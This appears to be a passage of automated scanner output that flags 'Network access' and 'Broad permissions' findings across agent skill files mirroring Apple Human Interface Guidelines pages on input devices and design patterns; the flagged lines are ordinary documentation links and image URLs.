    **Choose the button that people use most commonly as the primary action in a view.** Double tap is helpful in a nonscrolling view when it performs the action that people use the most. For example, in a media controls view, you could assign 
  • Network accessline 161
    ## [Specifications](https://developer.apple.com/design/human-interface-guidelines/gestures#Specifications)
  • Network accessline 163
    ### [Standard gestures](https://developer.apple.com/design/human-interface-guidelines/gestures#Standard-gestures)
  • Network accessline 165
    The system provides APIs that support the familiar gestures people use with their devices, whether they use a touchscreen, an indirect gesture in visionOS, or an input device like a trackpad, mouse, remote, or game controller. For developer
  • Network accessline 177
    For guidance on supporting additional gestures and button presses on specific input devices, see [Pointing devices](https://developer.apple.com/design/human-interface-guidelines/pointing-devices), [Remotes](https://developer.apple.com/desig
  • Network accessline 179
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/gestures#Resources)
  • Network accessline 181
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/gestures#Related)
  • Network accessline 183
    [Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback)
  • Network accessline 185
    [Eyes](https://developer.apple.com/design/human-interface-guidelines/eyes)
  • Network accessline 187
    [Playing haptics](https://developer.apple.com/design/human-interface-guidelines/playing-haptics)
  • Network accessline 189
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/gestures#Developer-documentation)
  • Network accessline 191
    [Gestures](https://developer.apple.com/documentation/SwiftUI/Gestures) — SwiftUI
  • Network accessline 193
    [`UITouch`](https://developer.apple.com/documentation/UIKit/UITouch) — UIKit
  • Network accessline 195
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/gestures#Videos)
  • Network accessline 197
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/B38CC217-7635-48EF-B8C9-F7954F390CCE/9273_wide_250x141_1x.jpg) Enhance your UI animations and transitions ](https://developer.apple.com/videos/pl
  • Network accessline 199
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/C6CDCC79-CCD0-4D2F-A4D1-8FC70DC663DB/8127_wide_250x141_1x.jpg) Design for spatial input ](https://developer.apple.com/videos/play/wwdc2023/10073)
  • Network accessline 201
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/gestures#Change-log)

skills/hig-inputs/references/gyro-and-accelerometer.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Gyroscope and accelerometer | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer
  • Network accessline 9
    ![A sketch of a gyroscope, suggesting movement. The image is overlaid with rectangular and circular grid lines and is tinted purple to subtly reflect the purple in the original six-color Apple logo.](https://docs-assets.developer.apple.com/
  • Network accessline 11
    You can use accelerometer and gyroscope data to provide experiences based on real-time, motion-based information in apps and games that run in iOS, iPadOS, and watchOS. tvOS apps can use gyroscope data from the Siri Remote. For developer gu
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer#Best-practices)
  • Network accessline 23
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer#Platform-considerations)
  • Network accessline 27
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer#Resources)
  • Network accessline 29
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer#Related)
  • Network accessline 31
    [Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback)
  • Network accessline 33
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer#Developer-documentation)
  • Network accessline 35
    [Getting processed device-motion data](https://developer.apple.com/documentation/CoreMotion/getting-processed-device-motion-data) — Core Motion
  • Network accessline 37
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/gyro-and-accelerometer#Videos)
  • Network accessline 39
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/5077B5B0-643B-4E31-9C5E-6E766326D3F3/5225_wide_250x141_1x.jpg) Measure health with motion ](https://developer.apple.com/videos/play/wwdc2021/10287)

skills/hig-inputs/references/keyboards.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Keyboards | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/keyboards
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/keyboards
  • Network accessline 9
    ![A sketch of a keyboard, suggesting keyboard input. The image is overlaid with rectangular and circular grid lines and is tinted purple to subtly reflect the purple in the original six-color Apple logo.](https://docs-assets.developer.apple
  • Network accessline 11
    People can connect a physical keyboard to any device except Apple Watch. Mac users tend to use a physical keyboard all the time and iPad users often do. Many games work well with a physical keyboard, and people can prefer using one instead 
  • Network accessline 15
    Apple defines standard keyboard shortcuts to work consistently across the system and most apps, helping people transfer their knowledge to new experiences. Some apps define custom keyboard shortcuts for the app-specific commands people use 
  • Network accessline 17
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/keyboards#Best-practices)
  • Network accessline 19
    **Support Full Keyboard Access when possible.** Available in iOS, iPadOS, macOS, and visionOS, Full Keyboard Access lets people navigate and activate windows, menus, controls, and system features using only the keyboard. To test Full Keyboa
  • Network accessline 23
    Although iPadOS supports keyboard navigation in text fields, text views, and sidebars, and provides APIs you can use to support it in collection views and other custom views, avoid supporting keyboard navigation for controls, such as button
  • Network accessline 25
    **Respect standard keyboard shortcuts.** While using most apps, people generally expect to rely on the standard keyboard shortcuts that work in other apps and throughout the system. If your app offers a unique action that people perform fre
  • Network accessline 27
    ## [Standard keyboard shortcuts](https://developer.apple.com/design/human-interface-guidelines/keyboards#Standard-keyboard-shortcuts)
  • Network accessline 162
    ## [Custom keyboard shortcuts](https://developer.apple.com/design/human-interface-guidelines/keyboards#Custom-keyboard-shortcuts)
  • Network accessline 170
    Modifier key| Symbol| Recommended usage   ---|---|---   Command| ![Outline of a stylized clover shape.](https://docs-assets.developer.apple.com/published/43dd468e7f303fbaa3abbf3935292ae2/Keyboard_Command.svg)| Prefer the Command key as the 
  • Network accessline 171
    ---|---|---   Command| ![Outline of a stylized clover shape.](https://docs-assets.developer.apple.com/published/43dd468e7f303fbaa3abbf3935292ae2/Keyboard_Command.svg)| Prefer the Command key as the main modifier key in a custom keyboard sho
  • Network accessline 172
    Command| ![Outline of a stylized clover shape.](https://docs-assets.developer.apple.com/published/43dd468e7f303fbaa3abbf3935292ae2/Keyboard_Command.svg)| Prefer the Command key as the main modifier key in a custom keyboard shortcut.
  • Network accessline 173
    Shift| ![Outline of an upward-pointing arrow.](https://docs-assets.developer.apple.com/published/3a7e5aed7275031a8c41a7fb7789e41f/Keyboard_Shift.svg)| Prefer the Shift key as a secondary modifier that complements a related shortcut.
  • Network accessline 174
    Option| ![Line segments that suggest a horizontally transformed Z shape combined with a short horizontal segment aligned with the top of the Z.](https://docs-assets.developer.apple.com/published/8b064ad029d2012128a6aaeb1322b290/Keyboard_Opt
  • Network accessline 175
    Control| ![A shallow, upside-down V shape.](https://docs-assets.developer.apple.com/published/5c92c8350588d52ff786bf763b18e9e7/Keyboard_Control.svg)| Avoid using the Control key as a modifier. The system uses Control in many systemwide feat
  • Network accessline 185
    **Let the system localize and mirror your keyboard shortcuts as needed.** The system automatically localizes a shortcut’s primary and modifier keys to support the currently connected keyboard; if your app or game switches to a right-to-left
  • Network accessline 189
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/keyboards#Platform-considerations)
  • Network accessline 193
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/keyboards#visionOS)
  • Network accessline 195
    In visionOS, an app’s keyboard shortcuts appear in the shortcut interface that displays when people hold the Command key on a connected keyboard. Similar in organization to an app’s [menu bar menus](https://developer.apple.com/design/human-
  • Network accessline 197
    **Write descriptive shortcut titles.** Because the shortcut interface displays a flat list of all items in each category, submenu titles aren’t available to provide context for their child items. Make sure each shortcut title is descriptive
  • Network accessline 207
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/keyboards#Resources)
  • Network accessline 209
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/keyboards#Related)
  • Network accessline 211
    [Virtual keyboards](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards)
  • Network accessline 213
    [Entering data](https://developer.apple.com/design/human-interface-guidelines/entering-data)
  • Network accessline 215
    [Pointing devices](https://developer.apple.com/design/human-interface-guidelines/pointing-devices)
  • Network accessline 217
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/keyboards#Developer-documentation)
  • Network accessline 219
    [`KeyboardShortcut`](https://developer.apple.com/documentation/SwiftUI/KeyboardShortcut) — SwiftUI
  • Network accessline 221
    [Input events](https://developer.apple.com/documentation/SwiftUI/Input-events) — SwiftUI
  • Network accessline 223
    [Handling key presses made on a physical keyboard](https://developer.apple.com/documentation/UIKit/handling-key-presses-made-on-a-physical-keyboard) — UIKit
  • Network accessline 225
    [Mouse, Keyboard, and Trackpad](https://developer.apple.com/documentation/AppKit/mouse-keyboard-and-trackpad) — AppKit
  • Network accessline 227
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/keyboards#Change-log)

skills/hig-inputs/references/nearby-interactions.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Nearby interactions | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/nearby-interactions
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/nearby-interactions
  • Network accessline 9
    ![A sketch of curved lines beside a circular area containing a smaller circle, suggesting audio approaching a person in a room from a specific direction. The image is overlaid with rectangular and circular grid lines and is tinted purple to
  • Network accessline 13
    Nearby interactions are available on devices that support Ultra Wideband technology (to learn more, see [Ultra Wideband availability](https://support.apple.com/en-us/HT212274)), and rely on the [Nearby Interaction](https://developer.apple.c
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Best-practices)
  • Network accessline 29
    ## [Device usage](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Device-usage)
  • Network accessline 37
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Platform-considerations)
  • Network accessline 41
    ### [iOS](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#iOS)
  • Network accessline 45
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#watchOS)
  • Network accessline 49
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Resources)
  • Network accessline 51
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Related)
  • Network accessline 53
    [Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback)
  • Network accessline 55
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Developer-documentation)
  • Network accessline 57
    [Nearby Interaction](https://developer.apple.com/documentation/NearbyInteraction)
  • Network accessline 59
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Videos)
  • Network accessline 61
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/0F487599-C14E-48B0-AEB0-A752DFF26E95/5165_wide_250x141_1x.jpg) Design for spatial interaction ](https://developer.apple.com/videos/play/wwdc2021/10245)
  • Network accessline 63
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/E6812719-14BF-4392-84FC-E1CFC1650B71/3558_wide_250x141_1x.jpg) Meet Nearby Interaction ](https://developer.apple.com/videos/play/wwdc2020/10668)
  • Network accessline 65
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Change-log)

skills/hig-inputs/references/pointing-devices.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Pointing devices | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/pointing-devices
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/pointing-devices
  • Network accessline 9
    ![A sketch of an arrow-shaped pointer, suggesting use of a mouse or trackpad. The image is overlaid with rectangular and circular grid lines and is tinted purple to subtly reflect the purple in the original six-color Apple logo.](https://do
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Best-practices)
  • Network accessline 25
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Platform-considerations)
  • Network accessline 29
    ### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#iPadOS)
  • Network accessline 33
    **Allow multiple selection in custom views when necessary.** In iPadOS 15 and later, people can click and drag the pointer over multiple items to select them. As people use the pointer in this way, it expands into a visible rectangle that s
  • Network accessline 37
    #### [Pointer shape and content effects](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Pointer-shape-and-content-effects)
  • Network accessline 77
    #### [Pointer accessories](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Pointer-accessories)
  • Network accessline 81
    Unlike pointer shapes and content effects, accessories are secondary items that can combine with any pointer to communicate additional information. For developer guidance, see [`UIPointerAccessory`](https://developer.apple.com/documentation
  • Network accessline 87
    #### [Pointer magnetism](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Pointer-magnetism)
  • Network accessline 105
    #### [Standard pointers and effects](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Standard-pointers-and-effects)
  • Network accessline 113
    * Use hover for large elements and customize the scale, tint, and shadow attributes as needed (for guidance, see [Customizing pointers](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Customizing-pointers)).
  • Network accessline 122
    ![An illustration of a button that has a filled, rounded-rectangle bezel. The button is centered on top of a shaded rectangle that extends beyond the button by the same distance on all sides. Centered on each side, a callout indicates that 
  • Network accessline 124
    ![An illustration of a symbol centered on top of a shaded rectangle that extends beyond the symbol by the same distance on all sides. Centered on each side, a callout indicates that the padding between the symbol and each edge of the shaded
  • Network accessline 126
    ![An illustration of a button without a bezel, centered on top of a shaded rectangle that extends beyond the button by the same distance on all sides. Centered on each side, a callout indicates that the padding between the button and each e
  • Network accessline 130
    **Specify the corner radius of a nonstandard element that receives the lift effect.** With the system-provided lift effect, the pointer transforms to match the element’s shape as it fades out. By default, the pointer uses the system-defined
  • Network accessline 132
    #### [Customizing pointers](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Customizing-pointers)
  • Network accessline 144
    ![An illustration of a custom pointer hovering over a resize handle on the edge of a shaded rectangle. Above the pointer is a small annotation that displays the image’s width and height values against a dark background.](https://docs-assets
  • Network accessline 150
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#macOS)
  • Network accessline 173
    #### [Pointers](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Pointers)
  • Network accessline 177
    Pointer| Name| Meaning| AppKit API   ---|---|---|---   ![A pointer that resembles a diagonal arrow pointing up and to the left.](https://docs-assets.developer.apple.com/published/5be2c381c17d5d868866b3a5de1013f8/pointers-arrow%402x.png)| Ar
  • Network accessline 178
    ---|---|---|---   ![A pointer that resembles a diagonal arrow pointing up and to the left.](https://docs-assets.developer.apple.com/published/5be2c381c17d5d868866b3a5de1013f8/pointers-arrow%402x.png)| Arrow| Standard pointer for selecting a
  • Network accessline 179
    ![A pointer that resembles a diagonal arrow pointing up and to the left.](https://docs-assets.developer.apple.com/published/5be2c381c17d5d868866b3a5de1013f8/pointers-arrow%402x.png)| Arrow| Standard pointer for selecting and interacting wit
  • Network accessline 180
    ![A closed, gloved hand.](https://docs-assets.developer.apple.com/published/6680cdb870edf5364f84a483fd2bead9/pointers-closed-hand%402x.png)| Closed hand| Dragging to reposition the display of content within a view—for example, dragging a ma
  • Network accessline 181
    ![A pointer arrow with a small menu-like square to the right of the arrow.](https://docs-assets.developer.apple.com/published/0cb033cee3b55bd4be661b28b928fdc1/pointers-contextual-menu%402x.png)| Contextual menu| A contextual menu is availab
  • Network accessline 182
    ![A plus symbol.](https://docs-assets.developer.apple.com/published/d55eabe14365af873000aa389e5fad6c/pointers-crosshair%402x.png)| Crosshair| Precise rectangular selection is possible, such as when viewing an image in Preview.| [`crosshair`
  • Network accessline 183
    ![A small pointer arrowhead with a circle underneath; the circle contains an Ex.](https://docs-assets.developer.apple.com/published/528819d511869de26beb1fd5008ac773/pointers-disappearing-item%402x.png)| Disappearing item| A dragged item wil
  • Network accessline 184
    ![A small pointer arrowhead with a circle underneath; the circle contains a plus symbol.](https://docs-assets.developer.apple.com/published/ccc7052f9bc6fb302d913633c648adcd/pointers-drag-copy%402x.png)| Drag copy| Duplicates a dragged—not m
  • Network accessline 185
    ![A curved arrow, pointing up and to the right.](https://docs-assets.developer.apple.com/published/47dfbfd5f1bf3141dbf875f47446d1fd/pointers-drag-link%402x.png)| Drag link| During a drag and drop operation, creates an alias of the selected 
  • Network accessline 186
    ![Opposing veritcal braces, used to form an insertion marker.](https://docs-assets.developer.apple.com/published/060f443dee8d260a1a1191d7831e36b7/pointers-horizontal-beam%402x.png)| Horizontal I beam| Selection and insertion of text is poss
  • Network accessline 187
    ![An open, gloved hand.](https://docs-assets.developer.apple.com/published/a5daee642ccc8fb3ac550d176b2d1932/pointers-open-hand%402x.png)| Open hand| Dragging to reposition content within a view is possible.| [`openHand`](https://developer.a
  • Network accessline 188
    ![A small pointer arrowhead with a do not enter symbol underneath.](https://docs-assets.developer.apple.com/published/2daaf47bef26569f92f30a9016095dde/pointers-operation-not-allowed%402x.png)| Operation not allowed| A dragged item can’t be 
  • Network accessline 189
    ![A gloved hand, with the index finger extended.](https://docs-assets.developer.apple.com/published/25193808b5e72d5983ff26764889718a/pointers-pointing-hand%402x.png)| Pointing hand| The content beneath the pointer is a URL link to a webpage
  • Network accessline 190
    ![A horizontal bar with a downward-pointing arrow at its midpoint.](https://docs-assets.developer.apple.com/published/328443ed3b5dd85c84de91a60ed30b43/pointers-resize-down%402x.png)| Resize down| Resize or move a window, view, or element do
  • Network accessline 191
    ![A vertical bar with a left-pointing arrow at its midpoint.](https://docs-assets.developer.apple.com/published/34113d73f24c003f4b3715e0cef8fbf6/pointers-resize-left%402x.png)| Resize left| Resize or move a window, view, or element to the l
  • Network accessline 192
    ![A vertical bar with left- and right-pointing arrows extending from its midpoint.](https://docs-assets.developer.apple.com/published/478726bb1a630013de1f77b3bccde9e0/pointers-resize-left-right%402x.png)| Resize left/right| Resize or move a
  • Network accessline 193
    ![A vertical bar with a right-pointing arrow at its midpoint.](https://docs-assets.developer.apple.com/published/6045fce093cc242bf438393155b77992/pointers-resize-right%402x.png)| Resize right| Resize or move a window, view, or element to th
  • Network accessline 194
    ![A horizontal bar with an up-pointing arrow at its midpoint.](https://docs-assets.developer.apple.com/published/34576a4ab42dea114abf11b3ee57a4f8/pointers-resize-up%402x.png)| Resize up| Resize or move a window, view, or element upward.| [`
  • Network accessline 195
    ![A horizontal bar with up- and down-pointing arrows extending from its midpoint.](https://docs-assets.developer.apple.com/published/d55d0d01c955105a957231266affb447/pointers-resize-up-down%402x.png)| Resize up/down| Resize or move a window
  • Network accessline 196
    ![Opposing horizontal braces, used to form an insertion marker.](https://docs-assets.developer.apple.com/published/15923a8cac833b5bb1fd69b4a395c4a9/pointers-vertical-beam%402x.png)| Vertical I beam| Selection and insertion of text is possib
  • Network accessline 198
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#visionOS)
  • Network accessline 212
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Resources)
  • Network accessline 214
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Related)
  • Network accessline 216
    [Entering data](https://developer.apple.com/design/human-interface-guidelines/entering-data)
  • Network accessline 218
    [Keyboards](https://developer.apple.com/design/human-interface-guidelines/keyboards)
  • Network accessline 220
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Developer-documentation)
  • Network accessline 222
    [Input events](https://developer.apple.com/documentation/SwiftUI/Input-events) — SwiftUI
  • Network accessline 224
    [Pointer interactions](https://developer.apple.com/documentation/UIKit/pointer-interactions) — UIKit
  • Network accessline 226
    [Mouse, Keyboard, and Trackpad](https://developer.apple.com/documentation/AppKit/mouse-keyboard-and-trackpad) — AppKit
  • Network accessline 228
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Videos)
  • Network accessline 230
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/F9A980A7-B00A-4856-9172-FDB610A419E5/3509_wide_250x141_1x.jpg) Design for the iPadOS pointer ](https://developer.apple.com/videos/play/wwdc2020/10640)
  • Network accessline 232
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/pointing-devices#Change-log)

skills/hig-inputs/references/remotes.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Remotes | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/remotes
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/remotes
  • Network accessline 9
    ![A sketch of an Apple TV remote, suggesting interaction with onscreen content. The image is overlaid with rectangular and circular grid lines and is tinted purple to subtly reflect the purple in the original six-color Apple logo.](https://
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/remotes#Best-practices)
  • Network accessline 15
    **Prefer using standard gestures to perform standard actions.** Unless people are actively playing a game, they expect the remote to behave in standard ways in every app they use. Redefining or repurposing standard remote behaviors can caus
  • Network accessline 17
    **Be consistent with the tvOS focus experience.** The [focus experience](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection) forges a strong connection between people and the content they’re viewing. Reinforce
  • Network accessline 27
    **In almost all cases, open the parent of the current screen when people press the Back button.** At the top level of an app or game, the parent is the Apple TV Home Screen; within an app, the parent is defined by the app hierarchy, and isn
  • Network accessline 31
    ## [Gestures](https://developer.apple.com/design/human-interface-guidelines/remotes#Gestures)
  • Network accessline 39
    ## [Buttons](https://developer.apple.com/design/human-interface-guidelines/remotes#Buttons)
  • Network accessline 50
    ## [Compatible remotes](https://developer.apple.com/design/human-interface-guidelines/remotes#Compatible-remotes)
  • Network accessline 52
    Some remotes that are compatible with Apple TV include buttons for browsing live TV or other channel-based content. For example, a remote might include a button people can use to open an electronic program guide (EPG) and other buttons they
  • Network accessline 58
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/remotes#Platform-considerations)
  • Network accessline 62
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/remotes#Resources)
  • Network accessline 64
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/remotes#Related)
  • Network accessline 66
    [Use your Siri Remote or Apple TV Remote with Apple TV](https://support.apple.com/en-us/HT205305)

skills/hig-inputs/references/spatial-interactions.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Nearby interactions | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/spatial-interactions
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/spatial-interactions
  • Network accessline 9
    ![A sketch of curved lines beside a circular area containing a smaller circle, suggesting audio approaching a person in a room from a specific direction. The image is overlaid with rectangular and circular grid lines and is tinted purple to
  • Network accessline 13
    Nearby interactions are available on devices that support Ultra Wideband technology (to learn more, see [Ultra Wideband availability](https://support.apple.com/en-us/HT212274)), and rely on the [Nearby Interaction](https://developer.apple.c
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Best-practices)
  • Network accessline 29
    ## [Device usage](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Device-usage)
  • Network accessline 37
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Platform-considerations)
  • Network accessline 41
    ### [iOS](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#iOS)
  • Network accessline 45
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#watchOS)
  • Network accessline 49
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Resources)
  • Network accessline 51
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Related)
  • Network accessline 53
    [Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback)
  • Network accessline 55
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Developer-documentation)
  • Network accessline 57
    [Nearby Interaction](https://developer.apple.com/documentation/NearbyInteraction)
  • Network accessline 59
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Videos)
  • Network accessline 61
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/0F487599-C14E-48B0-AEB0-A752DFF26E95/5165_wide_250x141_1x.jpg) Design for spatial interaction ](https://developer.apple.com/videos/play/wwdc2021/10245)
  • Network accessline 63
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/E6812719-14BF-4392-84FC-E1CFC1650B71/3558_wide_250x141_1x.jpg) Meet Nearby Interaction ](https://developer.apple.com/videos/play/wwdc2020/10668)
  • Network accessline 65
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/nearby-interactions#Change-log)

skills/hig-patterns/SKILL.md

  • Network accessline 106
    *Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*

skills/hig-patterns/references/charting-data.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Charting data | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/charting-data
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/charting-data
  • Network accessline 9
    ![A sketch of a bar chart, suggesting data representation. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://docs-assets.developer
  • Network accessline 11
    Charts provide efficient ways to communicate complex information without requiring people to read and interpret a lot of text. The graphical nature of charts also gives you additional opportunities to express the personality of your experie
  • Network accessline 26
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/charting-data#Best-practices)
  • Network accessline 32
    **Make every chart in your app accessible.** A chart communicates visually through graphical representations of data and visual descriptions. In addition to the visual descriptions you display, it’s crucial to provide both accessibility lab
  • Network accessline 34
    ## [Designing effective charts](https://developer.apple.com/design/human-interface-guidelines/charting-data#Designing-effective-charts)
  • Network accessline 36
    **In general, prefer using common chart types.** People tend to be familiar with common chart types — such as bar charts and line charts — so using one of these types in your app can make it more likely that people will already know how to 
  • Network accessline 42
    ![A screenshot of the Stocks app on iPhone. The app uses a line chart to depict the performance of a stock over the currently chosen one-month period.](https://docs-assets.developer.apple.com/published/75cea76eff7e6ee353ad230c147be3da/chart
  • Network accessline 44
    ![A screenshot of the Activity screen in the Health app on iPhone. The app uses a set of three bar charts to depict information from the three Activity Rings over the currently chosen one-day period.](https://docs-assets.developer.apple.com
  • Network accessline 54
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/charting-data#Platform-considerations)
  • Network accessline 58
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/charting-data#Resources)
  • Network accessline 60
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/charting-data#Related)
  • Network accessline 62
    [Charts](https://developer.apple.com/design/human-interface-guidelines/charts)
  • Network accessline 64
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/charting-data#Developer-documentation)
  • Network accessline 66
    [Swift Charts](https://developer.apple.com/documentation/Charts)
  • Network accessline 68
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/charting-data#Videos)
  • Network accessline 70
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/89D5888B-58DA-4F47-8E3C-998253F6BA98/9954_wide_250x141_1x.jpg) Bring Swift Charts to the third dimension ](https://developer.apple.com/videos/pla
  • Network accessline 72
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/FA764D2D-4E15-4E91-91BA-BDAC80FB901B/6694_wide_250x141_1x.jpg) Design app experiences with charts ](https://developer.apple.com/videos/play/wwdc2022/110342)
  • Network accessline 74
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/4BBCB61E-65ED-43FE-8F7B-81524E0C96BE/6692_wide_250x141_1x.jpg) Design an effective chart ](https://developer.apple.com/videos/play/wwdc2022/110340)
  • Network accessline 76
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/charting-data#Change-log)

skills/hig-patterns/references/collaboration-and-sharing.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Collaboration and sharing | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing
  • Network accessline 9
    ![A sketch of a person with an overlapping checkmark, suggesting effective collaboration. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.
  • Network accessline 15
    You can take advantage of Messages integration and the system-provided sharing interfaces whether you implement collaboration and sharing through CloudKit, iCloud Drive, or a custom solution. To offer these features when you use a custom co
  • Network accessline 17
    In addition to helping people share and collaborate on documents, visionOS supports immersive sharing experiences through SharePlay. For guidance, see [SharePlay](https://developer.apple.com/design/human-interface-guidelines/shareplay).
  • Network accessline 19
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#Best-practices)
  • Network accessline 21
    **Place the Share button in a convenient location, like a toolbar, to make it easy for people to start sharing or collaborating.** In iOS 16, the system-provided share sheet includes ways to choose a file-sharing method and set permissions 
  • Network accessline 23
    ![An illustration of a Notes document on iPhone. The document toolbar prominently features the Share button next to the More button.](https://docs-assets.developer.apple.com/published/00e4629ef73463727909ceecefdf902f/collaboration-share-but
  • Network accessline 29
